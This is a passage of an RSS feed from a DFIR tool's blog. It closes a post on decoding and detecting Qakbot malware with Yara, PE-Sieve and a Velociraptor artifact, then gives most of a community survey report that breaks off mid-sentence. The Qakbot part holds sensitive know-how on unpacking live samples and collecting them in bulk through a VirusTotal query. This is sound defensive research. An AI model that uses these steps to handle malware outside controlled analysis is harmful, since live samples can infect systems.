capabilities.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-04-05-qakbot//blog/2023/2023-04-05-qakbot/images/07strings.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Decoded strings: RC4 key highlighted&#34;&#xA;         width=&#34;941&#34; height=&#34;616&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/07strings.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Decoded strings: RC4 key highlighted&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;payload&#34;&gt;Payload&lt;/h3&gt;&#xA;&lt;p&gt;Qakbot samples are typically packed and need execution or manual&#xA;unpacking to retrieve the payload for analysis. Its very difficult to&#xA;obtain this payload remotely at scale, in practice the easiest way is&#xA;to execute the sample in a VM or sandbox that enables extracting the&#xA;payload with correct PE offsets.&lt;/p&gt;&#xA;&lt;p&gt;When executing locally Qakbot typically injects its payload into a&#xA;Windows process, and can be detected with yara targeting the process&#xA;for an unbacked section with &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt; protections.&lt;/p&gt;&#xA;&lt;p&gt;Below is an example of running PE-Sieve / Hollows Hunter tool&#xA;from Hasherezade. This helpful tool enables detection of several types&#xA;of process injection, and the dumping of injected sections with&#xA;appropriately aligned headers. In this case, the injected process is&#xA;&lt;code&gt;wermgr.exe&lt;/code&gt; but it&amp;rsquo;s worth to note, depending on variant and process&#xA;footprint, your injected process may vary.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-04-05-qakbot//blog/2023/2023-04-05-qakbot/images/08pe-sieve.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Dumping Qakbot payload using pe-sieve&#34;&#xA;         width=&#34;1158&#34; height=&#34;699&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/08pe-sieve.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Dumping Qakbot payload using pe-sieve&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;doing-it-at-scale&#34;&gt;Doing it at scale&lt;/h3&gt;&#xA;&lt;p&gt;Now I have explained the decode process, time to enable both detection&#xA;and decode automation in Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;I have recently released&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/exchange/artifacts/pages/qakbot/&#34;&gt;Windows.Carving.Qakbot&lt;/a&gt;&#xA;which leverages a PE dump capability in Velociraptor 0.6.8 to enable&#xA;live memory analysis. The goal of the artifact was to automate my&#xA;decoding workflow for a generic Qakbot parser and save time for a&#xA;common analysis. I also wanted an easy to update parser to add&#xA;additional keys or decode nuances when changes are discovered.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-04-05-qakbot//blog/2023/2023-04-05-qakbot/images/09parameters.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Windows.Carving.Qakbot: parameters&#34;&#xA;         width=&#34;626&#34; height=&#34;437&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/09parameters.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Windows.Carving.Qakbot: parameters&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This artifact uses Yara to detect an injected Qakbot payload, then&#xA;attempts to parse the payload configuration and strings. Some of the&#xA;features in the artifact cover changes observed in the past in the&#xA;decryption process to allow a simplified extraction workflow:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Automatic PE extraction and offset alignment for memory detections.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;StringOffset&lt;/code&gt; - the offset of the string xor key and encoded strings&#xA;is reused regularly.&lt;/li&gt;&#xA;&lt;li&gt;PE resource type: the RC4 encoded configuration is typically inside&#xA;2 resources, I’ve observed &lt;code&gt;BITMAP&lt;/code&gt; and &lt;code&gt;RCDATA&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Unescaped key string: this field is typically reused over samples.&lt;/li&gt;&#xA;&lt;li&gt;Type of encoding: single or double, double being the more recent.&lt;/li&gt;&#xA;&lt;li&gt;Hidden &lt;code&gt;TargetBytes&lt;/code&gt; parameter to enable piping payload in for&#xA;analysis.&lt;/li&gt;&#xA;&lt;li&gt;Worker threads: for bulk analysis / research use cases.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-04-05-qakbot//blog/2023/2023-04-05-qakbot/images/10decode.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Windows.Carving.Qakbot: live decode&#34;&#xA;         width=&#34;1732&#34; height=&#34;992&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/10decode.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Windows.Carving.Qakbot: live decode&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;research&#34;&gt;Research&lt;/h3&gt;&#xA;&lt;p&gt;The Qakbot parser can also be leveraged for research and run bulk&#xA;analysis. One caveat is the content requires payload files that have&#xA;been dumped with offsets intact. This typically requires some post&#xA;collection filtering or PE offset realignment but enables Velociraptor&#xA;notebook to manipulate post processed data.&lt;/p&gt;&#xA;&lt;p&gt;Some techniques I have used to bulk collect samples:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sandbox with PE dumping features: api based collection&lt;/li&gt;&#xA;&lt;li&gt;Virustotal search: &lt;code&gt;crowdsourced_yara_rule:0083a00b09|win_qakbot_auto&lt;/code&gt;&#xA;AND &lt;code&gt;tag:pedll&lt;/code&gt; AND NOT &lt;code&gt;tag:corrupt&lt;/code&gt;&#xA;(note: this will collect some broken&#xA;payloads)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-04-05-qakbot//blog/2023/2023-04-05-qakbot/images/11research_ip.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Bulk collection: IPs seen across multiple campaign names and ports&#34;&#xA;         width=&#34;893&#34; height=&#34;694&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/11research_ip.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Bulk collection: IPs seen across multiple campaign names and ports&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Some findings from a small data set ~60 samples:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Named campaigns are typically short and not longer than a few&#xA;samples over a few days.&lt;/li&gt;&#xA;&lt;li&gt;IP addresses are regularly reused and shared across campaigns&lt;/li&gt;&#xA;&lt;li&gt;Most prevalent campaigns are &lt;code&gt;BB&lt;/code&gt; and  &lt;code&gt;obama&lt;/code&gt; prefixed&lt;/li&gt;&#xA;&lt;li&gt;Minor campaigns observed: &lt;code&gt;azd&lt;/code&gt;, &lt;code&gt;tok&lt;/code&gt; and &lt;code&gt;rds&lt;/code&gt; with only one or&#xA;two observed payload samples each.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Strings analysis can also provide insights to sample behavior over&#xA;time to assist analysis. A great example is the adding to process name&#xA;list for anti-analysis checks.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-04-05-qakbot//blog/2023/2023-04-05-qakbot/images/11research_strings.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Bulk collection: Strings highlighting anti-analysis check additions over time&#34;&#xA;         width=&#34;3066&#34; height=&#34;754&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/11research_strings.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Bulk collection: Strings highlighting anti-analysis check additions over time&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h3&gt;&#xA;&lt;p&gt;During this post I have explained the Qakbot decoding process and&#xA;introduced an exciting new feature in Velociraptor. PE dumping is a&#xA;useful capability and enables advanced capability at enterprise scale,&#xA;not even available in expensive paid tools. For widespread threats&#xA;like Qakbot, this kind of content can significantly improve response&#xA;for the blue team, or even provide insights into threats when analyzed&#xA;in bulk. In the coming months the Velociraptor team will be publishing&#xA;a series of similar blog posts, offering a sneak peek at some of the&#xA;types of memory analysis enabled by Velociraptor and incorporated into&#xA;our training courses.&lt;/p&gt;&#xA;&lt;p&gt;I also would like to thank some of Rapid7’s great analysts - &lt;code&gt;Jakob Denlinger&lt;/code&gt;&#xA;and &lt;code&gt;James Dunne&lt;/code&gt; for bouncing some ideas when writing this&#xA;post.&lt;/p&gt;&#xA;&lt;h3 id=&#34;references&#34;&gt;References&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot&#34; target=&#34;_blank&#34; &gt;Malpedia, Qakbot&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.elastic.co/security-labs/qbot-malware-analysis&#34; target=&#34;_blank&#34; &gt;Elastic, QBOT Malware Analysis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/hasherezade/hollows_hunter&#34; target=&#34;_blank&#34; &gt;Hasherezade, Hollows Hunter&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.velociraptor-docs.org/exchange/artifacts/pages/qakbot/&#34;&gt;Windows.Carving.Qakbot&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;</description>
    </item>
    <item>
      <title>The Velociraptor annual community survey</title>
      <link>https://www.velociraptor-docs.org/blog/2023/2023-04-03-velociraptor-survey/</link>
      <pubDate>Sat, 01 Apr 2023 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2023/2023-04-03-velociraptor-survey/</guid>
      <description>&lt;p&gt;Velociraptor is an open source project led and shaped by the&#xA;community. Over the years, Velociraptor has become a real force in the&#xA;field of DFIR making it the obvious choice for many operational&#xA;situations.&lt;/p&gt;&#xA;&lt;p&gt;The Velociraptor development team is committed to continue making&#xA;Velociraptor the premier open source DFIR and security tool. We are&#xA;therefore interested to hear about how the tool is used in the&#xA;community and what the community expectations are in regard to&#xA;capabilities, features and use cases. We use this information in order&#xA;to shape future development direction, set priorities and develop our&#xA;road map.&lt;/p&gt;&#xA;&lt;p&gt;In early 2023, the Velociraptor team distributed a community&#xA;survey which was very well received. We are grateful to the community&#xA;members who took the time to respond. As an open source project, we&#xA;depend on our community to contribute. There are many ways&#xA;contributors can help the project, from developing code, to filing&#xA;bugs or improving documentation. One of the most important ways users&#xA;can contribute is by providing valuable feedback through channels such&#xA;as this survey, to help shape the future road map and new features.&lt;/p&gt;&#xA;&lt;p&gt;In this blog post I wanted to share some of the responses we received.&lt;/p&gt;&#xA;&lt;h2 id=&#34;who-are-the-velociraptor-community&#34;&gt;Who are the Velociraptor Community?&lt;/h2&gt;&#xA;&lt;p&gt;Overall there were 213 responses. By far the majority of responders&#xA;were &lt;code&gt;Analysts&lt;/code&gt; (57%) and &lt;code&gt;Managers&lt;/code&gt; (26%) indicating that most of the&#xA;respondents are people who know and use Velociraptor frequently.&lt;/p&gt;&#xA;&lt;p&gt;We wanted to get a feel for the type of companies using&#xA;Velociraptor. Users fell pretty evenly into company sizes, with about&#xA;30% of responses from small companies (less than 100 employees) and&#xA;20% of responses from very large companies of 10,000 employees or&#xA;more.&lt;/p&gt;&#xA;&lt;p&gt;These companies also came from a wide range of industries. While many&#xA;were primarily in the information security fields such as Managed&#xA;Security Service Providers (MSSP), Consultants and Cybersecurity&#xA;businesses, we also saw a large number of responses from the&#xA;Government sector, the Aerospace industries, Education,&#xA;Banking/Finance, Health care, etc.&lt;/p&gt;&#xA;&lt;p&gt;With such a wide range of users we were interested in how often users&#xA;were using Velociraptor. About a third of users use Velociraptor&#xA;frequently, a third use it occasionally and a third are in the process&#xA;of evaluating and learning about the tool.&lt;/p&gt;&#xA;&lt;h2 id=&#34;velociraptor-use-cases&#34;&gt;Velociraptor use cases&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is a powerful tool with a wide feature set. We wanted to&#xA;glimpse an idea of what features were most popular and how users&#xA;prioritize these features. Specifically, we asked about the following&#xA;main use cases:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Client monitoring and alerts (Detection).&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor can collect client event queries focused on&#xA;detection. This allows the client to autonomously monitor the&#xA;endpoint and send back high value events when certain conditions&#xA;are met.&lt;/p&gt;&#xA;&lt;p&gt;12% of users were actively using this feature to monitor the end&#xA;point.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Proactively hunt for indicators (Threat intelligence)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s unique ability to collect artifacts at scale from&#xA;many system can be combined with threat intelligence information&#xA;(such as hashes, etc.) to proactively hunt for compromises by known&#xA;actors. This question was specifically related to hunting for threat&#xA;feed indicators, such as hashes, IP addresses etc.&lt;/p&gt;&#xA;&lt;p&gt;16% of users were utilizing this feature&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ongoing forwarding of events to another system&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s client monitoring queries can be used to simply&#xA;forward events (such as ETW feeds).&lt;/p&gt;&#xA;&lt;p&gt;6% of users were utilizing this feature&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Collecting bulk files for analysis on another system (Digital&#xA;Forensics)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor can be used to collect bulk files from the endpoint&#xA;for later analysis by other tools (for example using the&#xA;&lt;code&gt;Windows.Collection.KapeFiles&lt;/code&gt; artifact).&lt;/p&gt;&#xA;&lt;p&gt;20% of users were using this feature regularly.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Parse for indicators on the endpoint (Digital Forensics)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s artifacts are used to directly parse files on the&#xA;endpoint, returning actionable high value information quickly&#xA;without the need for lengthy post processing.&lt;/p&gt;&#xA;&lt;p&gt;21% of users use these types of queries.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Proactive hunt for indicators across many systems (Incident&#xA;Response)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor can hunt for artifacts from many endpoints at once.&lt;/p&gt;&#xA;&lt;p&gt;21% of users use this capability.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;We further asked for the relative importance of these features.&lt;/p&gt;&#xA;&lt;p&gt;Users valued most the ability to collect bulk files and hunting for&#xA;artifacts across many systems, followed by the ability to parse&#xA;artifacts directly on the endpoints.&lt;/p&gt;&#xA;&lt;h2 id=&#34;backwards-compatibility&#34;&gt;Backwards compatibility&lt;/h2&gt;&#xA;&lt;p&gt;As developers we need to understand how important backwards&#xA;compatibility is to users so we can develop effective update&#xA;procedures.&lt;/p&gt;&#xA;&lt;p&gt;Some users deployed Velociraptor for limited time engagements so they&#xA;did not need backwards compatibility for stored data as they wouldn&amp;rsquo;t be&#xA;upgrading to major versions within the same deployment.&lt;/p&gt;&#xA;&lt;p&gt;Other users required more stable data migration but were generally&#xA;happy with removing data compatibility if necessary. For example, with&#xA;one response stating &amp;ldquo;I would rather you prioritize improvements over&#xA;compatibility even if it breaks things.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Another user explained: &amp;ldquo;In a typical Incident Response scenario,&#xA;Digital Forensics data has a shelf life of a few weeks or months at&#xA;best and I am comfortable with the convertibility and portability of&#xA;much of the data that Velociraptor collects such that archival data&#xA;can still be worked with even if newer versions of the server no&#xA;longer support a deprecated format/archive. Just saying that I think&#xA;there will be workarounds if this becomes an issue for folks with&#xA;mountains of legacy data that hasn’t been exported somewhere more&#xA;meaningful for longer term storage and historical data&#xA;analytic/intelligence purposes.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Generally most users indicated they rarely or never needed to go back&#xA;to archived data and re-analyze.&lt;/p&gt;&#xA;&lt;h2 id=&#34;version-compatibility&#34;&gt;Version compatibility&lt;/h2&gt;&#xA;&lt;p&gt;The Velociraptor &lt;a href=&#34;https://www.velociraptor-docs.org/docs/overview/support/&#34;&gt;support&#xA;policy&lt;/a&gt;&#xA;officially only supports clients and servers on the same release&#xA;version. However in reality it usually takes longer to upgrade clients&#xA;than servers. While some users are able to upgrade clients promptly,&#xA;many users estimate between 10-50% of deployed clients are a version&#xA;older than the server.&lt;/p&gt;&#xA;&lt;p&gt;The Velociraptor team therefore needs to maintain some compatibility&#xA;with older clients to allow time for users to upgrade their endpoints.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-offline-collector&#34;&gt;The offline collector&lt;/h2&gt;&#xA;&lt;p&gt;The offline collector is a way to use Velociraptor&amp;rsquo;s artifacts without&#xA;needing to deploy a server. This feature is used mainly when we need&#xA;to rely on another party to run the actual collection or we are not&#xA;able to deploy a new agent on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;This feature is used exclusively by about 10% of users, while a&#xA;further 30% of users use it frequently. It is an important feature for&#xA;Velociraptor and the Velociraptor team should devote more time to&#xA;making this even more seamless and easy to use.&lt;/p&gt;&#xA;&lt;p&gt;Most users of the offline collection deploy it manually (50%), while&#xA;deploying via another EDR tool, or via Group Policy are also robust&#xA;options. Some users have created custom wrappers to deploy the offline&#xA;collector in the field.&lt;/p&gt;&#xA;&lt;p&gt;The Offline collection supports directly uploading the collection to a&#xA;cloud server using a number of methods.&lt;/p&gt;&#xA;&lt;p&gt;The most popular upload method is to an &lt;code&gt;AWS S3 bucket&lt;/code&gt; (30%) while&#xA;the &lt;code&gt;SFTP connector&lt;/code&gt; in the cloud or a &lt;code&gt;custom SFTP server&lt;/code&gt; on a VM&#xA;are also popular options (20% and 23%). Uploading directly to &lt;code&gt;Google Cloud Storage&lt;/code&gt; is the least popular option at about 5%.&lt;/p&gt;&#xA;&lt;p&gt;Manual copy methods were also popular ranging from EDR based copying&#xA;to Zoom file copy.&lt;/p&gt;&#xA;&lt;p&gt;A commonly requested method was &lt;code&gt;Azure blob storage&lt;/code&gt; which&#xA;Velociraptor currently does not support. Many responses indicate that&#xA;&lt;code&gt;SFTP&lt;/code&gt; is currently a workaround to the lack of direct Azure&#xA;support. The Velociraptor team should prioritize supporting Azure blob&#xA;storage.&lt;/p&gt;&#xA;&lt;h2 id=&#34;data-analysis&#34;&gt;Data analysis&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor supports collecting raw files (e.g. Event log files,&#xA;&lt;code&gt;$MFT&lt;/code&gt; etc) for analysis in other tools. Alternatively Velociraptor&#xA;already contains extensive parsers for most forensic artifacts that&#xA;can be used directly on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;Most users do use the built in forensic parsing and analysis artifacts&#xA;(55%) but many users also collect raw files (e.g. via the&#xA;&lt;code&gt;Windows.Collection.KapeFiles&lt;/code&gt; artifact).&lt;/p&gt;&#xA;&lt;h2 id=&#34;vql-artifacts&#34;&gt;VQL artifacts&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor uses the Velociraptor Query Language to perform&#xA;collections and analysis. The VQL is usually shared via an &lt;code&gt;Artifact&lt;/code&gt;&#xA;with the community.&lt;/p&gt;&#xA;&lt;p&gt;Most users utilize the built in artifacts as well as the &lt;a href=&#34;https://www.velociraptor-docs.org/exchange/&#34;&gt;artifact&#xA;exchange&lt;/a&gt;. A significant&#xA;number of users also develop their own artifacts for their own&#xA;use. Over 60% of users report that they develop their own artifacts.&lt;/p&gt;&#xA;&lt;p&gt;For those users who develop their own artifacts, we asked about&#xA;limitations and difficulties in this process. A common theme that&#xA;arose was around debugging artifacts and the lack of a VQL debugger&#xA;and better error reporting.&lt;/p&gt;&#xA;&lt;p&gt;Training and documentation was also pointed as needing improvements. A&#xA;suggestion was made to enhance documentation with a lot more examples&#xA;of how each VQL plugin can be used in practice.&lt;/p&gt;&#xA;&lt;p&gt;Luckily the Velociraptor team is running a training course at&#xA;&lt;a href=&#34;https://www.blackhat.com/us-23/training/schedule/#digging-deeper-with-velociraptor-30129&#34; target=&#34;_blank&#34; &gt;BlackHat 2023&lt;/a&gt;&#xA;this year so users can learn from the Velociraptor developers detailed information of how to deploy Velociraptor and write effective custom VQL.&lt;/p&gt;&#xA;&lt;h2 id=&#34;role-based-access-controls&#34;&gt;Role based access controls&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is a very powerful tool and concentrates a lot of&#xA;responsibility in the hands of a few users. To control access to the&#xA;tool, Velociraptor has a role based access control mechanism, where&#xA;users can be assigned roles from &lt;code&gt;administrator&lt;/code&gt;, &lt;code&gt;investigator&lt;/code&gt; to&#xA;read-only access provided by the &lt;code&gt;reader&lt;/code&gt; role.&lt;/p&gt;&#xA;&lt;p&gt;Users generally found this feature very useful, with 40% of users&#xA;finding it &lt;code&gt;moderately useful&lt;/code&gt; and a further 20% and 15% further&#xA;finding it &lt;code&gt;very useful&lt;/code&gt; and &lt;code&gt;extremely useful&lt;/code&gt;, respectively.&lt;/p&gt;&#xA;&lt;p&gt;The main suggestions for improvements include:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Easier management through the GUI (as of version 0.6.8 all user&#xA;ACLs are managed through the GUI now).&lt;/li&gt;&#xA;&lt;li&gt;Custom roles with more granular permissions.&lt;/li&gt;&#xA;&lt;li&gt;Better logging and auditing.&lt;/li&gt;&#xA;&lt;li&gt;Some way to allow a specific role to only run a pre-approved subset&#xA;of artifacts. Some way to only run signed/hashed VQL - prevent a&#xA;malicious artifact being dropped on the server.&lt;/li&gt;&#xA;&lt;li&gt;Making it clearer what each permission grants the user.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;multi-tenant-support&#34;&gt;Multi-tenant support&lt;/h2&gt;&#xA;&lt;p&gt;In recent versions, Velociraptor offers a fully multi-tenanted mode,&#xA;where organizations can be created and destroyed quickly with minimal&#xA;resource overheads. This feature is used by 25% of respondents, who&#xA;are mainly consultants using it to separate out different&#xA;customers. Some companies use multi-tenancies to separate out different&#xA;organizations in the same business or subsidiaries.&lt;/p&gt;&#xA;&lt;h2 id=&#34;client-monitoring-and-alerting&#34;&gt;Client monitoring and alerting&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor can run &lt;code&gt;event queries&lt;/code&gt; on the client. These VQL queries&#xA;run continuously and stream results to the server when certain&#xA;conditions are met. A common use case for these is to generate alerts&#xA;and for enhanced detection.&lt;/p&gt;&#xA;&lt;p&gt;Some users deploy client monitoring artifacts frequently while others&#xA;see it as an alternative to EDR tools, when these are available. The&#xA;primary use case breakdown was:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Detection (e.g. alert when an anomalous event occurs) - 27% of users&lt;/li&gt;&#xA;&lt;li&gt;Collection of client events (e.g. forward process event logs to an&#xA;external system) - 18% of users&lt;/li&gt;&#xA;&lt;li&gt;Remediation (e.g. quarantine or remove files automatically) - 15% of users&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;While 30% of users do not use client monitoring at all.&lt;/p&gt;&#xA;&lt;p&gt;The main pain point with client monitoring seems to be the lack of&#xA;integrated alerting capability (an &lt;a href=&#34;https://github.com/Velocidex/velociraptor/issues/1869&#34; target=&#34;_blank&#34; &gt;issue currently being worked&#xA;on&lt;/a&gt;). Some&#xA;useful feedback on this feature included:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Better support for integration with business tools - e.g., Teams,&#xA;Slack, etc.&lt;/li&gt;&#xA;&lt;li&gt;Easier to manage event data.&lt;/li&gt;&#xA;&lt;li&gt;Not having to build a server side artifact for each client_event&#xA;artifact. And a dashboard that lists all alerts. Also, an easier&#xA;way to forward alerts based on severity.&lt;/li&gt;&#xA;&lt;li&gt;Lack of pre-built detection rules / packs. In other words, it would&#xA;be easier to tune down, than to build up.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;the-quarantine-feature&#34;&gt;The Quarantine feature&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor can quarantine an endpoint by collecting the&#xA;&lt;code&gt;Windows.Remediation.Quarantine&lt;/code&gt; artifact. This artifact tunes the&#xA;firewall rules on the endpoint to block all external network&#xA;communication while maintaining connectivity to the Velociraptor&#xA;host. This allows for an endpoint to be isolated during&#xA;investigation.&lt;/p&gt;&#xA;&lt;p&gt;The feature was &amp;ldquo;sometimes used&amp;rdquo; by about 30% of users and &amp;ldquo;always used&amp;rdquo;&#xA;by 12%, making it a popular feature.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-is-velociraptor-deployed&#34;&gt;How is Velociraptor deployed?&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is a very light weight solution, typically taking a few&#xA;minutes to provision a new deployment. For many of our users,&#xA;Velociraptor is used in an Incident Response context on an as-needed&#xA;basis (46%). Other users prefer a more permanent deployment (25%).&lt;/p&gt;&#xA;&lt;p&gt;For larger environments, Velociraptor also supports multi-server&#xA;configuration (used by 13% of users), while the more traditional&#xA;single server deployment option is used by 70% of users.&lt;/p&gt;&#xA;&lt;p&gt;While some users deploy very short lived deployments of several days&#xA;or less (13%), most users keep their deployment for several weeks&#xA;(27%) to months or permanently (44% of users).&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor is designed to work efficiently with many end points. We&#xA;recommend a maximum of 15-20k endpoints on a single server before&#xA;switching to a multi-server architecture (although users reported&#xA;success with larger deployment sizes on a single server). This level&#xA;of performance is adequate in practice for the majority of users.&lt;/p&gt;&#xA;&lt;p&gt;Many users run deployments of less than 250 endpoints (44%) while a&#xA;further 40% of users 